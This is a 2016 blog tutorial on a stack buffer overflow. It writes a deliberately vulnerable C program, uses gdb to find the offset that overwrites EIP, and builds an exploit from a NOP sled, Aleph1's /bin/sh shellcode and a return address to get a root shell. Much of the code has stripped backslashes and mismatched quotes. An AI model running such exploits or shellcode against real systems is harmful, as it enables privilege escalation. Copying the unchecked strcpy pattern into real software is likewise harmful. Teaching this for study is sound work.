Tuesday, 6 December 2016

Buffer Overflow Attack with Tutorial


Buffer Overflow - 


First we need to
know what is a Buffer Overflow -

A Buffer Overflow is where you input too much data into something that cannot hold it. Simple right....

Why to Buffer Overflow anyway ? 

A Buffer Overflow’s main objective is to overwrite the memory address within the EIP (Extended Instruction Pointer) register to control the flow of the program. 

The EIP register is an Address Register. Means it stores memory addresses within it. The EIP register is used to point to the next instruction that is going to be executed. During calling functions, the value of EIP is stored in the stack and is later collected and put back into the register so that it can return to it’s previous location just after the function call. If you can alter EIP’s value, you can change what’s executed. That’s one of the main reasons Buffer Overflows are so widely used, especially if the program is running as root. That could allow you to make the program execute something under root privileges.

How do we do this?

utorial:

Code:

//colour.c
 #include <stdio.h>
 vuln_func(char *parr)
 {
 char colour[100];
 strcpy(colour, parr);
 printf("Your favourite colour is: %sn", colour);
 }
 main(int argc, char * argv[])
 {
 vuln_func(argv[1]);
 }

This program simply outputs the user’s favorite colour as entered via a command-line argument. 

For ex- “./colour blue” would output “Your favorite colour is: blue”.

Let’s compile that with gcc and get exploiting. (We’ll be using the command “gcc -mpreferred-stack-boundary=2 -o colour -ggdb colour.c” run as the root user). 

It’s very likely that you’ll encounter warnings during compilation but what do you expect when you’re attempting to design vulnerable code?

Remember that our aim is to overwrite the EIP register. We’ll be using gdb (The GNU Project Debugger) to see what’s going on and whether it’s worked.

Code:

root@Root:~Desktop# gdb -q colour
 Reading symbols from /root/Desktop/colour...done.
 (gdb)
Now let’s use perl to go outside the buffer size by sending 210 characters instead of the maximum size of our buffer of 100.
Code:
(gdb) run `perl -e 'print "A" x 210'`
 Starting program: /root/Desktop/colour `perl -e 'print "A" x 210'`
 Program received signal SIGSEGV, Segmentation fault.
 0x4002269f in strlen () from /lib/libc.so.6
You should have a similar error to this. We can confirm that we’ve failed to overwrite EIP with this command:
Code:
(gdb) info reg eip
 eip 0x4002269f 0x4002269f

Below is a diagram of how the program variables and registers appear within the stack at this moment.

————————————-
|ESP|person|EBP|EIP|arr|
————————————–
<–

The reason this didn’t work is because there are several nested functions (Including the call for the printf function, which is where our error “0x4002269f in strlen () from /lib/libc.so.6″ is coming from. Printf in actual fact calls vfprintf() and then that calls strlen, creating a lot of jmps in the code)in the program which means that there are multiple stack frames. The perl print has most likely overwritten past EIP and then overwritten some important function arguments stored in those stack frames. We can use the list command in gdb to view our C source and decide the best place to add a breakpoint.

Code:

(gdb) list
 3      vuln_func(char *parr)
 4      {
 5      char colour[100];
 6      strcpy(colour, parr);
 7      printf("Your favourite colour is: %sn", colour);
 8      }
 9     main(int argc, char * argv[])
 10     {
 11     vuln_func(argv[1]);
 12     }
 (gdb) b 7

 Breakpoint 1 at 0x8048464: file colour.c, line 7.
“b” is the breakpoint command for gdb. I’ve set it to line 7 because that’s where the printf function is called, which will lead to our previous error “0x4002269f in strlen () from /lib/libc.so.6″. Now if we run the program again;

Code:

(gdb) run `perl -e 'print "A" x 210'`
 Starting program: /root/Desktop/colour `perl -e 'print "A" x 210'`
 Breakpoint 1, vuln_func (arr=0x41414141 "") at colour.c:7
 7      printf("Your favourite colour is: %sn", colour);

Now we can see we have made arr become equal to our memory address 0×41414141 however we need to remove the NULL that is also there, so for good practice, we’ll use less A’s until we get to the perfect number. So let’s delete our last breakpoint and do that.

Code:

(gdb) d 1
 (gdb) run `perl -e 'print "A" x 151
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
Starting program: /root/Desktop/colour `perl -e 'print "A" x 151'`
 Your favorite colour is: AA
 AA
 AAProgram received signal SIGSEGV, Segmentation fault.
 (gdb) info reg ebp eip
 ebp    0xbfff2041    0xbfff2041
 eip    0x80484dc    0x80484dc

As you can see, the last part of the EBP register’s value was changed to the hex value of the character “A”, however we still need to overwrite with 7 more bytes (1 byte = 2 hex characters) for the perfect number of characters to fill the EBP register and the EIP register. This is because as you see below, we still have to use 3 more bytes to fill the EBP register, however our aim is to corrupt the EIP register, so we need to overflow 4 more bytes on top of the three bytes to actually corrupt EIP (however, you will see soon that those 4 bytes are going to be something other than AAAA (0×41414141)).

Code:

(gdb) run `perl -e 'print "A" x 158
 The program being debugged has been started already.
 Start it from the beginning? (y or n) y
Starting program: /root/Desktop/colour `perl -e 'print "A" x 158'`
 Your favorite colour is: AA
 AA
 AA
Program received signal SIGSEGV, Segmentation fault.
 0x41414141 in ?? ()
Now let’s check what’s happened with the program.
Code:
(gdb) info reg ebp eip
 ebp    0x41414141    0x41414141
 eip    0x41414141    0x41414141

So now we have our perfect number. Next we’re going to need some shellcode and the value of ESP. What’s the ESP register? It’s the register that points to where the top of the stack is. We go about getting it from our own little C program as shown below. (The ASM in our code below is written in AT&T Syntax and not Intel Syntax so don’t get confused because we’re moving the value of ESP into EAX)

Code:

//espval.c
#include <stdio.h>
 unsigned long stackpointer(void)
 {
 __asm__("movl %esp, %eax);
 }
 int main()
 {
 printf("Value of ESP: 0x%xn", stackpointer());
 }

Compile and run several times and we’ll get the same address. If you aren’t getting the same address, you need to disable Address Space Layout Randomization (ASLR).

Code:

root@Root:~/Desktop#./espval
 Value of ESP: 0xbffffef1
You’re probably wondering why we actually need this. It’s needed because we want to create a NOP sled. A NOP sled is a collection of NOP instructions that do nothing (NOP = No Operation). The hex code 0×90 is usually representative of NOP.
For the purpose of this tutorial, we’re going to be using Aleph1′s Shellcode and save us the time of writing our own. 

It is as follows below:

x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89 ​ x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd ​x80xe8xdcxffxffxff/bin/sh

Now let’s put that into a perl variable called shelly.

Code:

root@Root:~/Desktop$ perl -e 'print x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31xc0x88x46x07x89​x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd​x80xe8xdcxffxffxff/bin/sh";' > shelly
Now you can calculate the size of your Shellcode with the command “wc -c shelly”. If you’re using the same Shellcode, that should come out to 53 bytes.

Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. It’s generally good practice to have about half of that for the NOP sled. So we’ll use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. I’ll estimate 0×80. I subtract this fro the ESP value as shown below to get my Return Address.

0xbffffef1 – 0×80 = 0xBFFFFE71
Now we need to convert this address into Little-Endian format because that’s the architecture we are working with (This just involved flipping the bytes of the memory address around in Shellcode (remember, 2 hex characters per byte)). This gives us:
x71xfexffxbf

Now to find out how many times we need this, we need to do a simple calculation; (Attack Buffer Size – Number of NOP bytes – Number of Bytes of Shellcode) / 4 bytes that make up our return address.

(158-75-53)/4 = 7.5
That means we need to repeat this address 7 times (always round down). SO let’s recap;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of Shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;

Code:

root@Root:~/Desktop$ ./colour `perl -e 'print "x90"x75';` `cat shelly` `perl -e 'print "x71xfexffxbf"x7';`
 Segmentation fault

We get a nice error. That’s because 156 does not equal 158. We need two more NOP bytes for it to work.

Code:

root@Root:~/Desktop$ ./colour `perl -e 'print "x90"x77';` `cat shelly` `perl -e 'print "x71xfexffxbf"x7';`
 Your favorite colour is:
Followed by a LOT of random characters until finally you get what you wanted.

Code:

root@Root:~/Desktop#

Root Access. Thanks for reading. 

You may want to read my other tutorials - 









 

No comments:

Post a Comment